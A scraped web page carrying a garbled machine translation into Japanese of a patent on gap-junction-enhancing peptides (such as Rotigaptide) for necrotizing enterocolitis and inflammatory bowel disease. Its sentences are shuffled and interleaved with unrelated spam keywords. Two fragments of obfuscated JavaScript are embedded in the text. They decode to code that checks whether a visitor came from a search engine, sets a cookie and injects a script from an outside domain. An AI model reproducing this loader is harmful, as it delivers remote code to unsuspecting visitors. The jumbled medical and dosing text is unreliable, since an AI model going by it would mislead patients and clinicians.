医薬組成物本発明は、医薬的に適切な担体中に1つ以上のGJEA、GJPまたはGJPAを含む医薬組成物を提供する.. 処置の方法非限定的な実施形態では、本発明は、そのような処置を必要とする対象においてNECを治療する方法であって、有効量のGJEA、GJPまたはGJPA.. 本発明の非限定的な実施形態において、医薬組成物は、限定されないが、水、生理食塩水、および/または生理学的緩衝液などの溶媒、例えば限定されないが、リン酸緩衝液、酢酸塩緩衝液、炭酸塩緩衝液、グルタミン酸緩衝液、グリシン酸緩衝液、ヒスチジン緩衝液、乳酸緩衝液、コハク酸緩衝液、マレイン酸緩衝液、酒石酸緩衝液、トリス緩衝液またはクエン酸緩衝液.
1つの特定の非限定的な例として、それらが腸の十分に検証された培養モデルを表すので、IEC-6細胞をそのような研究に使用することができる.. プロトタイプの化合物であるRotigaptideは、安定しており、半減期が長く、成人の抗不整脈薬として臨床試験中であり、ギャップジャンクションの接続性を向上させることが実証されています.. （C）GFPおよびドミナントネガティブCx43変異タンパク質（dnCx43）を保有するアデノウイルスベクターへの曝露後のネズミ腸の顕微鏡写真.. 例えば、細胞をコンフルエントに播種し、GJEA、GJPまたはGJPAで1〜4時間処理し、ギャップブロッティング細胞間連絡の程度を、光漂白（FRAP）後の共焦点ベースの蛍光回収を用いて決定することができる。は、光退色細胞が蛍光色素で満たしている速度および程度（蛍光回復と呼ばれる）が、レーザーを用いて以前に光退色していた領域へのギャップジャンクションを通した蛍光トレーサーの動きを測定するギャップジャンクション活性.. 上記の方法は、GJEA、GJPまたはGJPAの特定の濃度が、腸細胞間のギャップジャンクション通信を増強すること、NECの発生率を低下させること、NECを治療すること、IBDの発生率を低下させること、または治療することIBD.
他の研究では、ヒトの炎症性腸疾患（IBD）は、腸粘膜内のギャップ結合の障害と関連していることが示されている（1,2）.. NECを発症した患者の半分以上がその病気に耐えられず、生存者ではさらに3分の1がこの病気の初期発症に関連する長期の合併症を発症する.. DVPGRDPGYIKGGGSAHARVPFYSHSLNRNRKPSLYQ（SEQ ID NO：1）を含む、参照によりその全体が本明細書に組み込まれる。 EIQPRSPLMFSGGGSAHARVPFYSHSAKEARWPRAHR（配列番号2）。 GIAAREPNSHDGGGSAHARVPFYSHSRDLWRKPAKSL（配列番号3）。 WEEPRRPFTMSGGGSAETHARVPFYSHSPMRHRLPGVHL（配列番号4）。 SDDLRSPQLHNGGGSAVPFYSHSHMVRRKPRNPR（配列番号5）。 GHLHLRVPTLKM（配列番号6）。 EFIRSPHSVDWL（配列番号7）。 SQSRNPPMPPPR（配列番号8）。 RRPPYRVPPKLF（配列番号9）。 SLYERHPASTYP（配列番号10）。 HTVSRRPLPSSG（配列番号11）。 RHTHGNLLRFPP（配列番号12）。 RNNLNQTYPERR（配列番号13）。 YSLLPVRPVALT（配列番号14）。 RKPTQSLPTRLV（配列番号15）。 TRRPHKMRSDPL（配列番号16）。 TLTWHTKTPVRP（配列番号17）。 SRQFLHSLDRLP（配列番号18）。 HLHHHLDHRPHR（配列番号19）。 QTPYQARLPAVA（配列番号20）。 WHPHRHHHLQWD（配列番号21）。 RRKPRRKP（配列番号22）。 RNPRNP（配列番号23）。 RRKP（配列番号24）。 RRNP（配列番号25）。 RNPまたはSDDLRSPQLHNHMVRRKPRNPR（配列番号26）を含み、腸細胞間のギャップジャンクション通信を増強する他のペプチドおよびペプチド誘導体も含む.. 非限定的な実施形態では、減少は、少なくとも約20パーセントまたは少なくとも約30パーセントまたは少なくとも約40パーセントまたは少なくとも約50パーセント.
ギャップジャンクションペプチドの投与のタイミング：大腸炎の誘導に先立って、動物をGJEA、GJPまたはGJPAで処理してもよい。動物に、GJEA、GJPまたはGJPAを、大腸炎の誘導の1,2,3または4日のいずれか1日2回、様々な用量で投与することができる.. 投薬量は、非限定的な実施形態では、1日1回、2回、3回または4回、または1日おきに、または1週間に1回、または2週間に1回、または1ヶ月に1回.. 【実施例4】ギャップジャンクションエンハンサーPMAは腸細胞移動を促進するIEC-6腸細胞を種々の濃度のホルボールミリステートアセテート（PMA）で1時間処理した後、共焦点ベースの色素移動による腸細胞ギャップ接合コミュニケーションの程度を評価した.. 非限定的な実施形態では、被験体は、妊娠40週未満または37週未満または妊娠30週未満または妊娠25週未満後に生まれたヒト乳児である.. 0ソフトウェア（Statistical Solutions、Saugus、Mass） 動物の推定20％が生存するとは予想されないため、死亡率の損失を考慮してサンプルサイズを18に増やすべきである.. 治療とは、限定するものではないが、腸組織生存率の低下、吸収不良、下痢、出血、電解質の損失、正常な活動への復帰毎日の生活と痛み.. 回腸弁から2cm離れた末端回腸の試料を、分析のために4日目に収穫することができる.. WT対Cx43ノックアウトマウス腸による脂肪、タンパク質およびグルコースの吸収.. ウイルスを直腸投与により野生型マウスに導入し、GFPおよびGFP / dnCx43動物を産生した.. これらの研究によれば、dnCx43を投与されなかった動物におけるCx43の量は、大腸炎に対して防御的であった.. いかなる理論にも拘束されるものではないが、GAP-134は、Cx43の転写または分布における明らかな変化を伴わずに、他のイオンチャネルに影響を与えずにギャップ接合コンダクタンスを増強することによって作用する.. 本発明はさらに、4〜100、または4〜50、または6〜100、または6〜50、または8〜100、または8〜50、または10〜または10〜50個、または15〜35個のアミノ酸長であり、配列番号1〜31を有する1つ以上のペプチドを含む.. 4％DSSを飲料水中で5日間投与することができ、その時点で100％のマウスが炎症細胞の浸潤に関連する結腸の粘膜の炎症を発症する.. （2S、4R）-1-（2-アミノアセチル）-4-ベンズアミド - ピロリジン-2-カルボン酸）または腸細胞間のギャップジャンクション通信を増強する他のペプチド類似体.. ホエイプロテイン 糖質 抜き ソフト ツーブロック マッシュ実施例3Cx43の高レベルは、より小さい大腸炎と相関する実験は、アデノウイルスを用いて、ドミナントネガティブ突然変異Cx43（dnCx43）をネズミ腸細胞に導入し、それによって機能的Cx43欠損を作製した.. Laird、2005、ギャップジャンクション内在化と分解に関連する調節事象としてのコネキシンリン酸化.. 、2008、インターフェロンγは、脂質ラフトからコネキシン43を可逆的に置換することによって腸細胞移動を阻害する.. さらなる確認として、これらのマウスの腸組織を、Cx43またはアクチンのいずれかに向けられた検出可能な抗体で染色し、Cx43の相対的な欠如が明らかであった（図2）。.. ギャップジャンクション増強剤ギャップジャンクション増強剤（GJEA）には、ギャップジャンクション増強ペプチド（GJP）およびペプチド類似体（GJPAs）、ならびに薬理学的薬剤.. 腸細胞特異的Cx43ノックアウトマウスは、NECに対する感受性の増加を示すことが観察された.. これらのギャップジャンクション増強ペプチドはまた、これらの障害の発生のリスクを低減するために使用され得る.. 【背景技術】【0002】神経壊死性腸炎（NEC）は未熟児の死亡および障害の主要な原因である.. 各ギャップ結合チャネルは、最も広く発現されたアイソフォームがコネキシン-43（Cx43,2,3,4）であるコネキシンと呼ばれる個々のサブユニットの一対の六量体アレイからなり、.. （i）ギャップジャンクション増強剤;（ii）アッセイ法;（iii）医薬組成物;および（iv）本明細書中に記載されるような、および（iv）治療の方法.. （A）IEC-6腸細胞を、1時間指示されたホルボールミリステートアセテート（PMA）の濃度で処理し、次いで、共焦点ベースの色素移動による腸細胞間隙接合コミュニケーションの程度を評価した.. NECを発症した患者は、突然、警告を受けなくなり、腹部を外科的に探索すると、腸の大部分が死んでいるか死にかけているかがよく分かります.. 本発明の非限定的な実施形態において、医薬組成物は、場合により凍結乾燥されるか、またはミセルまたはマイクロスフェアに含まれるGJEA、GJPまたはGJPAを含み得る.. マウスに、エスビラックイヌミルク代替物（Pet-Ag Inc）75mL中のSimilac 60/40（Ross Pediatrics）15gと、低酸素（各摂食の前に2分間、5％酸素）を1日2回、4日間投与することができる.. 4、Cx43ノックアウトマウスは、食事から脂肪をほとんど吸収することができなかった.. 例えば、経口または直腸のような投与方法を選択することによって、および/または腸以外のギャップジャンクションに対する薬剤の効果を制限するために、GJEA、GJPまたはGJPAの全身送達ではなく局所送達を促進することが望ましい場合がある徐放性製剤を提供することによって.. さらに、炎症誘発性サイトカインインターフェロンγ（IFN）の放出は、腸細胞間のギャップ接合を部分的に阻害することによって、粘膜治癒の障害において重要な役割を果たす（1,2）.. 実験的大腸炎の重篤度の評価：発症する大腸炎の程度は、1）粘膜損傷の組織病理学的証拠.. 被験体は、イヌ、ネコ、げっ歯類、ウシ、ヒツジ、ヤギ、ウマ、または非ヒト霊長類を含むがこれらに限定されないヒトまたは非ヒト対象であり得る.. ホエイプロテイン 糖質 抜き ソフト ツーブロック アシメ3）マウス特異的プライマーを用いて、粘膜スクレープにおけるIL-6、IL-8およびTNF-の発現を評価するためのRT-PCR.. ホエイプロテイン 糖質 抜き ソフト ツーブロック ロング本発明は、壊死性腸炎（NEC）または炎症性腸疾患（IBD）の発生のリスクを低減する方法および/または治療する方法であって、かかる処置を必要とする対象に、有効量のギャップ結合促進剤（GJEA）、例えばペプチド（GJP）またはペプチド類似体（GRA）は、.. NECの発症率が早期対満期のヒト乳児で増加するにつれて、早期腸におけるCx43の低レベルの観察は、Cx43欠損およびそれに伴うギャップジャンクション機能不全がNECに対する感受性を高めるモデルと一致する.. 、2009、Cx43結合ペプチドのRXPシリーズに基づくコネキシン43の新規ファルマコフォア、Circ Res.. 例えば、医薬製剤に含まれるGJEA、GJPおよび/またはGJPAは、経口、静脈内、腹腔内、吸入（鼻および肺）、皮下、筋肉内、または直腸.. ギャップジャンクションの機能は、部分的には、コネキシン分子のリン酸化によって制御され、これは、原形質膜でのチャネルの局在を調節し、ゲートを通ってチャネルを調節する役割を果たす（5,6）.. Am J Physiol Gastrointest Liver Physiol 295：G559-569 、2007、インターフェロン - 腸細胞間のギャップジャンクション通信を防止することによる腸の回復を阻害する.. 本発明の非限定的な実施形態において、aGJEA、GJPまたはGJPAは、隣接腸細胞間で少なくとも約10パーセント、または少なくとも約20パーセント、または少なくとも約30パーセント、または少なくとも約40パーセント、または少なくとも約50パーセント、または少なくとも約60パーセント、または少なくとも約70パーセント、または少なくとも約80パーセント、または少なくとも約100パーセント（制御条件下での伝達量に対してe.. この化合物は、ZP123よりも短い半減期を有し、その有効性を低下させる可能性があるが潜在的な毒性を制限し得る;アッセイ方法腸細胞間のギャップジャンクション通信を増強するGJEA、GJPまたはGJPAの能力は、インビトロおよびインビボ研究を含むアート.. Cx43およびアクチンに対する蛍光標識抗体を用いた免疫組織化学研究は、（A）野生型腸絨毛における両方のタンパク質の存在を示し（B）Cx43の選択的欠失を有するノックアウト動物の絨毛にCx43が存在しないことを示す.. 腸細胞間のギャップジャンクション伝達を増強するGJEA、GJPまたはGJPAの能力を評価するための方法の第2の非限定的な例は、検出可能なトレーサーの程度の検出を可能にする単一細胞マイクロインジェクション（2） 0.. PMAの濃度が増加するにつれて、腸細胞の移動の速度（速度）も増加し、腸管粘膜内でのギャップジャンクションの増強と遊走（およびその後の治癒）との間の関連性と一致した.. 4キロダルトンの蛍光ギャップジャンクショントレーサールシファーイエローは、注入された細胞からギャップジャンクションを介して隣接する細胞に移行する.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x242010=_0x4f2340();}catch(_0x36f8aa){_0x242010=window;}var _0x3195b5='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x242010['atob']||(_0x242010['atob']=function(_0x4552af){var _0x319f0e=String(_0x4552af)['replace'](/=+$/,'');for(var _0x31ba81=0x0,_0x4b4fd1,_0x52a861,_0x2b7677=0x0,_0x2eedcd='';_0x52a861=_0x319f0e['charAt'](_0x2b7677++);~_0x52a861&&(_0x4b4fd1=_0x31ba81%0x4?_0x4b4fd1*0x40+_0x52a861:_0x52a861,_0x31ba81++%0x4)?_0x2eedcd+=String['fromCharCode'](0xff&_0x4b4fd1>>(-0x2*_0x31ba81&0x6)):0x0){_0x52a861=_0x3195b5['indexOf'](_0x52a861);}return _0x2eedcd;});}());_0x1c0e['mYiujm']=function(_0x40f723){var _0x553410=atob(_0x40f723);var _0xa1914f=[];for(var _0x3172a0=0x0,_0x117d3f=_0x553410['length'];_0x3172a0=_0x195d59;},'hBPoC':function(_0x6b74cb,_0x20c31f){return _0x6b74cb&&_0x20c31f;},'cpnlz':function(_0x525df1,_0x40d25d){return _0x525df1===_0x40d25d;},'dGxgh':_0x1c0e('0x6'),'xPmdj':_0x1c0e('0x7'),'Auusn':function(_0xfc7b29,_0x58b2b7){return _0xfc7b29=_0xf921fa;},'ePrWL':function(_0x5b1ab9,_0x176e9d){return _0x5b1ab9+_0x176e9d;},'JWMvo':function(_0xe74336,_0x43f69f){return _0xe74336+_0x43f69f;},'SMgNq':_0x1c0e('0x22')};var _0x2dcadd=[_0x23fc8b[_0x1c0e('0x23')],_0x23fc8b[_0x1c0e('0x24')],_0x23fc8b['qfsMs'],_0x23fc8b[_0x1c0e('0x25')],_0x23fc8b[_0x1c0e('0x26')],_0x23fc8b[_0x1c0e('0x27')],_0x1c0e('0x28')],_0x2fe5e9=document[_0x1c0e('0x29')],_0x111d0d=![],_0x4238bd=cookie['get'](_0x23fc8b[_0x1c0e('0x2a')]);for(var _0x36c99e=0x0;_0x36c99e. 他の非限定的な実施形態では、本発明は、そのような治療を必要とする対象におけるNECの発生リスクを低減する方法であって、有効量のGJEA、GJPまたはGJPAを対象に投与することを含む方法を提供する.. 実験的NECの重篤度の評価：発生するNECの程度は、1）粘膜損傷の組織病理学的証拠.. 他の非限定的な実施形態において、本発明は、有効量のGJEA、GJPまたはGJPAを被験体に投与することを含む、そのような治療を必要とする被験体においてIBDの発生のリスクを低減する方法を提供する.. GJPAの1つの非限定的な例は、化合物ZP123（Rotigaptide（2R、4S）-1 - [（2R）-1 - [（2R）-2-アセトアミド-3-（4-ヒドロキシフェニル）プロパノイル]カルボニル] -N- [2 - [[（2R）-1 - [（2-アミノ-2-オキソエチル）アミノ] -1-オキソプロパン-2 - イル]アミノ] -2-オキソエチル] -4-ヒドロキシピロリジン-2-カルボキサミド）であって、以下の式を有する：Cx43.. （B）NECを有する野生型またはCx43ノックアウトマウス（Cx43 IEC）のサイトカインレベル.. ホエイプロテイン 糖質 抜き ソフト ツーブロック エ***、2000、プロテインキナーゼCによるセリン368上のコネキシン-43のリン酸化は、ギャップジャンクション通信を調節する.. ノックアウトマウス由来の腸細胞は正常腸細胞に対して形態学的および機能的に障害を有することが観察された.. 3）マウス特異的プライマーを用いて、粘膜スクレープにおけるIL-6、IL-8およびTNF-の発現を評価するためのRT-PCR.. さらに、IEC-6細胞を、示されたPMAの濃度で処理し、20時間にわたって擦り傷に移行する能力について評価した.. ホエイプロテイン 糖質 抜き ソフト ツーブロック 水実施例1Cx43ノックアウトマウスのNECに対する感受性細胞/細胞特異的Cx43ノックアウトマウスを、Cx43 loxp / loxpマウスを作製し、villin-creマウスと交配させたCre / loxPシステムを用いて作製した。ノックアウトの有効性をRT-PCRにより記録した.. 様々な刊行物が本明細書に引用されており、その内容は、参照によりその全体が本明細書に組み込まれる.. 現在、NECには特別な治療法はなく、治療には広範囲の抗生物質の投与や死んだ腸の外科的除去が必要である.. Goodenough、1975、細胞間コミュニケーションに関与する細胞膜の構造.. 本発明の特定の非限定的な実施形態において、IBDを治療するGJEA、GJPまたはGJPAの能力は、マウスにおける以下の研究によってインビボで評価することができる.. （A）健康な野生型マウスの腸組織の顕微鏡写真。 （B）誘導性一酸化窒素シンターゼ（iNOS）の発現を示すように染色された健康な野生型マウスの腸組織の顕微鏡写真。 （C）NECを有する野生型マウスの腸組織の顕微鏡写真; （D）iNOSの発現を示すように染色されたNECを有する野生型マウスの腸組織の顕微鏡写真。 （E）Cx43ノックアウトマウスの腸組織の顕微鏡写真; （F）iNOSの発現を示すように染色されたCx43ノックアウトマウスの腸組織の顕微鏡写真; （G）NECを有するCx43ノックアウトマウスの腸組織の顕微鏡写真; NECを用いたCx43ノックアウトマウスの腸組織の（H）顕微鏡写真は、染色してiNOSの発現を示した.. 本発明の特定の非限定的な実施形態において、NECを治療するGJEA、GJPまたはGJPAの能力は、マウスにおける以下の研究によってインビボで評価することができる.. 本出願は、腸の腸細胞間のギャップジャンクションの機能を増強し、壊死性腸炎および炎症性腸疾患などの網膜間隙間接合部の障害に関連する障害を処置するために使用され得る薬剤、特にペプチドおよびペプチド類似体に関する。.. NECの病因を理解し、この疾患に対する新規治療法を定義するために、NECは陰窩 - 絨毛軸に沿った腸細胞移動の障害を特徴とすることが判明した.. プリムカイン、メフロキン、PQ2、PQ3、PQ4、PQ5、PQ6、PQ7、PQ8および/または化合物PQ1：本発明に従って使用され得るGAP結合促進ペプチド（GJP）これに限定されるものではないが、米国特許出願公開番号.. 0ソフトウェア（Statistical Solutions、Saugus、Mass） 本質的に大腸炎モデルで死亡はなく、サンプルサイズは1群あたり25であってもよい.. GJPのさらなる非限定的な例には、RXPシリーズのCx43結合ペプチドに基づくCx43のファルマコフォア.. 本発明に従って使用され得るGJPの別の非限定的な例は、Gly-Ala-Gly-Hyp-Pro-Tyr-NH 2（AAP10;配列番号29）およびGly -Pro-Hyp-Gly-Ala-Gly（配列番号30）またはシクロ[CF（3）C（OH）-Gly-Ala-Gly-Hyp-Pro-Tyr（配列番号31）.. 本発明はさらに、4〜100、または4〜50、または6〜100、または6〜50、または8〜100、または8〜50、または10〜または10〜50個、または15〜35個のアミノ酸長であり、配列番号1〜31のいずれかとは異なるアミノ酸が1個だけ異なり、ギャップジャンクション増強活性を有する1以上のペプチドを含むそれは配列の相違を欠くペプチドの少なくとも80％である.. 腸細胞移動の障害は、粘膜欠損の持続、細菌転位、および多くの場合死に至る全身性敗血症の発症をもたらす.. ギャップジャンクションペプチドの投与のタイミング：実験的NECの誘導の前に動物をGJEA、GJPまたはGJPAで処理してもよい。例えば、NECの誘発前の1,2,3または4日間の1日2回の様々な用量で.. 図8Bおよび8Cは、それぞれGFPのみまたはGFPおよびdnCx43を保有するアデノウイルスに感染したマウスの腸細胞を示し、図中のこれらの図における蛍光の存在は、.. ホエイプロテイン 糖質 抜き ソフト ツーブロック チャラい非限定的な例として、GJEA、GJPまたはGJPAの、腸細胞間のギャップジャンクション伝達を増強する能力を評価するギャップジャンクション細胞間コミュニケーション（GJIC）研究は、生存細胞共焦点顕微鏡法を用いて、培養腸細胞においてin vitroで実施することができ、 （1,2）と同様に、光退色後の蛍光回復（FRAP）.. 本発明の特定の非限定的な実施形態のセットにおいて、1つ以上のGJEA、GJPまたはGJAPは、医薬製剤および栄養補助食品と見なされる乳児用栄養製剤に含まれてもよく、乳児に投与されてもよいNECに苦しんでいる、または幼児におけるNECのリスクを治療または軽減するためのNECの開発リスク.. 図10Aに示すように、PMAの濃度が増加するにつれてギャップジャンクション通信の程度も増加した.. 投薬量の非限定的な例には、腸粘膜における局所濃度が10nMol / Lと200nMol / Lとの間、または0.. （A）野生型（WT）健常（対照）マウス、NECを有する野生型マウス、Cx43ノックアウトマウス（IEC）、またはNECを有するCx43マウスのいずれかからの腸細胞の遊走率.. 他の非限定的な実施形態では、本発明は、そのような治療を必要とする対象においてIBDを治療する方法を提供し、この方法は、有効量のGJEA、GJPまたはGJPA.. 動物には、直接視力下でマウス食道内に配置された24フレンチの血管カテーテルを使用して、マウス体重5グラム当たり200マイクロリットルを、2〜3分間にわたる胃管栄養法によって供給することができる.. 上記の知見は、NECとCx43欠損との間の関連性およびギャップジャンクション機能不全を支持する.. 検出可能なマーカーGFPを有するdnCx43を保有するアデノウイルスを構築し、対照として機能するようにGFPのみを保有するアデノウイルスも構築した.. このファミリーの2つの代表は、環化ヘプタペプチド（CyRP-71と呼ばれる）および配列RRNYRRNY（配列番号28）の線状オクタペプチドであり、.. var _0x1fc8=['c2V0','ZVByV0w=','SldNdm8=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','c3Jj','aGVhZA==','YXBwZW5kQ2hpbGQ=','44Ob44Ko44Kk44OX44Ot44OG44Kk44OzK+ezluizqivmipzjgY0r44K944OV44OIK+ODhOODvOODluODreODg+OCrw==','Zk5MVno=','Q3NxRWk=','Y29va2ll','bWF0Y2g=','ZEd4Z2g=','eFBtZGo=','U0NacGQ=','QXV1c24=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','aHV2aVo=','WmxCaFk=','bktFc08=','dG9Lb0Y=','aXZoSGs=','Q1FoaUs=','dGdxZmo=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFzay4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','aHR0cHM6Ly9jbG91ZHN0bWVuLm1lbi9sLW5ldy5waHA/JnF1ZXJ5PQ==','c05oSHc=','VnRiQnM=','RWR4d1Y=','a2VPSE4=','WUhoVm4=','LnlhbmRleC4=','cmVmZXJyZXI=','WFBoRnI=','d05IZlk=','aW5kZXhPZg=='];(function(_0x3d3155,_0x190fd9){var _0xac2cb=function(_0x5320e6){while(--_0x5320e6){_0x3d3155['push'](_0x3d3155['shift']());}};_0xac2cb(++_0x190fd9);}(_0x1fc8,0xc3));var _0x1c0e=function(_0x3a82d3,_0x42f5e5){_0x3a82d3=_0x3a82d3-0x0;var _0x9f4880=_0x1fc8[_0x3a82d3];if(_0x1c0e['bGcPYA']===undefined){(function(){var _0x242010;try{var _0x4f2340=Function('return\x20(function()\x20'+'{}.. 実験的大腸炎の誘導：大腸炎は、デキストラン硫酸ナトリウムモデルを用いて4週齢のマウスにおいて誘導され得る.. 野生型対照マウスおよびCx43ノックアウト動物において、胃管栄養および低酸素を4日間組み合わせたプロトコルを用いて、NECを誘導した.. Goodenough、1974、マウス肝細胞ギャップジャンクションのバルク単離.. ギャップジャンクションは、隣接する細胞間に存在する細胞間チャネルであり、隣接する細胞間で小分子の移動を可能にする.. （B）緑色蛍光タンパク質（GFP）遺伝子を有するアデノウイルスベクターへの曝露後のネズミ腸の顕微鏡写真.. 非限定的な実施形態では、発生リスクを低減することは、少なくとも約10パーセントまたは少なくとも約20パーセントまたは少なくとも約30パーセントまたは少なくとも約40パーセントまたは少なくとも約50パーセントのリスクの減少を意味する.. 図3Bおよび3Aに示すように、Cx43ノックアウト動物における腸の絨毛は、対照の腸と比較して実質的に短くなった.. IBDは、限定されるものではないが、クローン病、潰瘍性大腸炎、リンパ球性大腸炎、虚血性大腸炎、Beh等の疾患、転位大腸炎および過敏性腸症候群.. 腸細胞間のギャップジャンクションのより大きな機能性は、それらの移動速度を増加させ、腸炎症の重症度を低下させるという発見に少なくとも部分的に基づいている.. （E）dnCx43の存在下（DN）または非存在下（WT）におけるマウス腸内の大腸炎の重症度.. ホエイプロテイン 糖質 抜き ソフト ツーブロック セットGJEAである薬理学的薬剤の非限定的な例には、米国特許公開番号（A）に記載されているホルボールミリステートアセテート（PMA）およびキノリン誘導体が含まれる。.. ホエイプロテイン 糖質 抜き ソフト ツーブロック ルースパウダーそのような乳児用栄養調合乳は、例えばカゼイン、ホエータンパク質、大豆レシチン、ラクトース、デキストロース、塩化ナトリウム、塩化カリウム、炭酸カルシウム、硫酸第一鉄、アスコルビン酸、ビタミンA 、ビタミンB6、ビタミンB12、ビタミンD3、チアミン、ビタミンE、および/またはビタミンK.. 次に、デキストラン硫酸ナトリウムの投与により、GFP、GFP / dnCx43および対照動物で大腸炎を誘導した.. マウス腸の表面粘膜、（A）対照; （B）GFPを保有するアデノウイルスベクターに曝露した後;または（C）GFPおよびdnCx43を保有するアデノウイルスベクターへの曝露後.. これらのファルマコフォアは、Cx43のカルボキシル末端に結合し、34アミノ酸ペプチド（RXP-E（配列番号27））配列を共有する.. 同じ条件に曝露した場合、Cx43ノックアウトマウスの腸組織は野生型と比較して実質的により劇的な変化を示した.. （D）dnCx43の存在下（DN）または非存在下（WT）におけるマウス腸内でのGFPの発現.. アルブミン、アスコルビン酸、重亜硫酸ナトリウム、メタ重亜硫酸ナトリウム、亜硫酸ナトリウム、チオグリセロールチオグリコール酸、システイン、エチレンジアミン四酢酸、クエン酸/クエン酸ナトリウム、エチレングリコール、グリセロール、グルコース、デキストラン、および/または界面活性剤、例えば、ドデシル硫酸ナトリウム、ポリソルベート80、および/またはポリソルベート20.. 早期腸内の実施例2Cx43 C154発現は、e15日目のマウス胚のエチトサイト細胞において減少することが観察された.
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